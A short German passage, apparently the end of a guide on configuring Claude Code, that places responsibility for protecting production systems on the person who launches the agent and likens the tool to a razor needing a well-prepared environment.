Dieser Satz ist keine Stilfrage. Für den Schutz der Produktionsumgebung ist die Person verantwortlich, die den Agenten gestartet hat. Claude Code ist wie ein Rasiermesser: Du kannst dich damit rasieren, aber auch schneiden. Die Konfiguration beantwortet eine Frage: Hast du die Umgebung gut genug vorbereitet, damit das Rasiermesser nichts schneidet, was es nicht schneiden soll?

Weitere Ressourcen findest du auf Ailoot.